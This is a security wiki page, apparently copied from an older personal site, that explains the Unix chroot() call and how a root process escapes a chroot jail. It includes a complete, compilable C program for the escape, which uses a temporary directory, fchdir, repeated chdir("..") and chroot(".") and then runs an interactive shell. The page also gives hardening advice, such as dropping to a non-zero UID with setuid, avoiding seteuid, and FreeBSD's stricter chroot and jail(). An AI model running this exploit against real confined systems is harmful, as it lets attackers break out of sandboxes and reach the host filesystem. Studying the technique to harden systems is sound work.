How to break out of a chroot() jail

From PenguinSecurityWiki

Jump to: navigation, search

Source: http://www.bpfh.net/simes/computing/chroot-break.html

Author: http://www.bpfh.net/simes/

This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented.

Contents


An introduction to chroot()

chroot() is a Unix system call that is often used to provide an additional layer of security when untrusted programs are run. The kernel on Unix varients which support chroot() maintain a note of the root directory each process on the system has. Generally this is "/", but the chroot() system call can change this. When chroot() is successfully called, the calling process has its idea of the root directory changed to the directory given as the argument to chroot(). For example after the following line of code, the process would see the directory "/foo/bar" as its root directory.

chdir("/foo/bar");
chroot("/foo/bar");
Important: When using chroot() in anger you need more than the above code; see below for details.

Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in.

This means that after the chroot() call, an open("/",O_RDONLY) would open the same directory as an open("/foo/bar",O_RDONLY) call before the chroot().

Due to the change in the root directory, the area which a chroot()ed program lives in will require various files and programs for sane operation. For example, the following files are required for the sane operation of the basic shell interpreter sh within a chroot()ed environment.

File	Usage
/bin/sh 	The binary for sh
/usr/ld.so.1 	Dynamically link in the shared object libraries
/dev/zero 	Ensuring that the pages of memory used by shared objects are clear
/usr/lib/libc.so.1 	The general C library
/usr/lib/libdl.so.1 	The dynamic linking access library
/usr/lib/libw.so.1 	Internationalisation library
/usr/lib/libintl.so.1 	Internationalisation library
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 	"Processor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy) hand coded in faster assembly.

It should be noted that the more complex and larger a program gets, the more support files it will use. For example, perl requires a very large number of files and directories to work within a chroot()ed environment - 2610 files and 192 directories for a reasonable installation.

Breaking chroot()

Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:

  • C compiler or a Perl interpreter
  • Security holes to gain root access

It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining a chroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.

To break out of a chroot()ed area, a program should do the following:

  • Create a temporary directory in its current working directory
  • Open the current working directory

Note: only required if chroot() changes the calling program's working directory.

  • Change the root directory of the process to the temporary directory using chroot().
  • Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area.

Note: only required if chroot() changes the calling program's working directory.

  • Perform chdir("..") calls many times to move the current working directory into the real root directory.
  • Change the root directory of the process to the current working directory, the real root directory, using chroot(".")

Once the above has been done, the program can run functions as required. A natural function would be to exec() a command interpreter like sh over the current program. The following C program is an example of the attack outlined above. A Perl version is possible, although it is not shown below.

The following code is known to work under Solaris and Linux. It is likely to work under most (if not all) Unix varients which have the chroot() system call thanks to how it works[1].

Breaking chroot()
001  	 #include <stdio.h>  
002  	 #include <errno.h>  
003  	 #include <fcntl.h>  
004  	 #include <string.h>  
005  	 #include <unistd.h>  
006  	 #include <sys/stat.h>  
007  	 #include <sys/types.h>  
008  	    
009  	 /*  
010  	 ** You should set NEED_FCHDIR to 1 if the chroot() on your  
011  	 ** system changes the working directory of the calling  
012  	 ** process to the same directory as the process was chroot()ed  
013  	 ** to.  
014  	 **  
015  	 ** It is known that you do not need to set this value if you  
016  	 ** running on Solaris 2.7 and below.  
017  	 **  
018  	 */  
019  	 #define NEED_FCHDIR 0  
020  	    
021  	 #define TEMP_DIR "waterbuffalo"  
022  	    
023  	 /* Break out of a chroot() environment in C */  
024  	    
025  	 int main() {  
026  	   int x;            /* Used to move up a directory tree */  
027  	   int done=0;       /* Are we done yet ? */  
028  	 #ifdef NEED_FCHDIR  
029  	   int dir_fd;       /* File descriptor to directory */  
030  	 #endif  
031  	   struct stat sbuf; /* The stat() buffer */  
032  	    
033  	 /*  
034  	 ** First we create the temporary directory if it doesn't exist  
035  	 */  
036  	   if (stat(TEMP_DIR,&sbuf)<0) {  
037  	     if (errno==ENOENT) {  
038  	       if (mkdir(TEMP_DIR,0755)<0) {  
039  	         fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
040  	                 strerror(errno));  
041  	         exit(1);  
042  	       }  
043  	     } else {  
044  	       fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
045  	               strerror(errno));  
046  	       exit(1);  
047  	     }  
048  	   } else if (!S_ISDIR(sbuf.st_mode)) {  
049  	     fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
050  	     exit(1);  
051  	   }  
052  	    
053  	 #ifdef NEED_FCHDIR  
054  	 /*  
055  	 ** Now we open the current working directory  
056  	 **  
057  	 ** Note: Only required if chroot() changes the calling program's  
058  	 **       working directory to the directory given to chroot().  
059  	 **  
060  	 */  
061  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
062  	     fprintf(stderr,"Failed to open "." for reading - %s\n",  
063  	             strerror(errno));  
064  	     exit(1);  
065  	   }  
066  	 #endif  
067  	    
068  	 /*  
069  	 ** Next we chroot() to the temporary directory  
070  	 */  
071  	   if (chroot(TEMP_DIR)<0) {  
072  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
073  	             strerror(errno));  
074  	     exit(1);  
075  	   }  
076  	    
077  	 #ifdef NEED_FCHDIR  
078  	 /*  
079  	 ** Partially break out of the chroot by doing an fchdir()  
080  	 **  
081  	 ** This only partially breaks out of the chroot() since whilst  
082  	 ** our current working directory is outside of the chroot() jail,  
083  	 ** our root directory is still within it. Thus anything which refers  
084  	 ** to "/" will refer to files under the chroot() point.  
085  	 **  
086  	 ** Note: Only required if chroot() changes the calling program's  
087  	 **       working directory to the directory given to chroot().  
088  	 **  
089  	 */  
090  	   if (fchdir(dir_fd)<0) {  
091  	     fprintf(stderr,"Failed to fchdir - %s\n",  
092  	             strerror(errno));  
093  	     exit(1);  
094  	   }  
095  	   close(dir_fd);  
096  	 #endif  
097  	    
098  	 /*  
099  	 ** Completely break out of the chroot by recursing up the directory  
100  	 ** tree and doing a chroot to the current working directory (which will  
101  	 ** be the real "/" at that point). We just do a chdir("..") lots of  
102  	 ** times (1024 times for luck :). If we hit the real root directory before  
103  	 ** we have finished the loop below it doesn't matter as .. in the root  
104  	 ** directory is the same as . in the root.  
105  	 **  
106  	 ** We do the final break out by doing a chroot(".") which sets the root  
107  	 ** directory to the current working directory - at this point the real  
108  	 ** root directory.  
109  	 */  
110  	   for(x=0;x<1024;x++) {  
111  	     chdir("..");  
112  	   }  
113  	   chroot(".");  
114  	    
115  	 /*  
116  	 ** We're finally out - so exec a shell in interactive mode  
117  	 */  
118  	   if (execl("/bin/sh","-i",NULL)<0) {  
119  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
120  	     exit(1);  
121  	   }  
122  	 }  

This topic has been discussed on the security column of SunWorld Online which is written by Carole Fennelly; the August 1999 and January 1999 editions cover most of the chroot() topics. In the August 1999 edition Carole goes into how to prevent the attack above from working - the method is a nasty hack involving fsdb (the file system debugger) and a temporary file system[2]. Basically the method involves fixing the ".." link at the root of the temporary file system so that it points to the root of the file system in much the same way that ".." at the root directory does.

It should be noted that the attack above is quite well known. The fact that it was possible[3] was alleuded to in "An evening with Berferd"[4] An exploit[5] against the wu-ftpd FTP daemon was also posted to the BugTraq mailing list on 1999-03-25. The post containing the exploit is held within the BugTraq archives - see http://www.securityfocus.com/archive/1/12962 for details.

Finally it should be noted that not all version of Unix are vulnerable to this attack. FreeBSD 4.x and above have a better chroot() system call. It can be made to fail if the process has any file descriptors open on a directory. This works by stopping the attack above which essentially works due to a file handle being open on a directory.

Have a look at the FreeBSD 4.x manual page for chroot() for more details. Also have a look at the manual page for jail() which uses chroot() and can limit a process further under FreeBSD.

Coding with chroot() in anger

A very important aspect of writing secure code is the principle of "least privilage". That is, the code should run as the least powerful user which is able to do the task required.

The call to chroot() is normally used to ensure that code run after it can only access files at or below a given directory. Originally, chroot() was used to test systems software in a safe environment. It is now generally used to lock users into an area of the file system so that they can not look at or affect the important parts of the system they are on. For example, the most common use of chroot() is ensuring that when user of an anonymous FTP site can not view important system configuration files[6]

This normally means that the user will not be running as root. If this is the case the call to chroot() should look something like the following:

chdir("/foo/bar");
chroot("/foo/bar");
setuid(non zero UID);

Where non zero UID is the UID the user should be using. This should be a value other than 0, i.e. not the root user. If this is done there should be no way to gain root privilages unless an attacker uses something within the chroot() jail to gain those privilages.

The seteuid() call should not be used if it can be helped as this does not change the real UID of the process, only its effective UID. It is possible of a process which has a real UID of 0 to do a seteuid(0) to regain root privilages even if its effective UID is not 0 - its the real UID which matters.

There are some cases where it is not easily possible to make use of the setuid() call. In these cases, seteuid() could be looked at. However the developer has to bear in mind that it is a simple hop-skip-seteuid(0) for a process to regain its root privilages and then use the method above to break out of the chroot() jail. The only real reason for making use of the seteuid() call is if the process needs to do something as root on behalf of the user. One example of this is the use of PASV FTP connections as the FTP server will often use ports in the range of 1 to 1024 which requires root privilages.

Such situations can be coded around, however they tend to have their own problems as well.

  1. The root directory (i.e. /) is stored within each process's entry in the process table. All the chroot() system call does is to change the location of the root directory for that process. Under Solaris the location of the root directory is stored in the user structure as a pointer to a vnode structure. i.e. user.u_rdir is a struct vnode *. The user structure, available from /usr/include/sys/user.h, can be found by referencing the p_user entry in the proc structure which even process is given. See /usr/include/sys/proc.h for details of the proc structure.
  2. It involves a temporary file system as fsck would complain bitterly if it was run over a file system which had this protection method run over it.
  3. Which got me thinking in the first place about how you could do the above
  4. "An evening with Berford in which a Cracker is Lured, Endured and Studied" is a document written by Bill Cheswick which cronicles a crackers actitivies after being lured in a chroot()ed padded cell.
  5. The realpath() buffer over-run is used in this one
  6. i.e. /etc/passwd on systems which do not use a shadow password file
Personal tools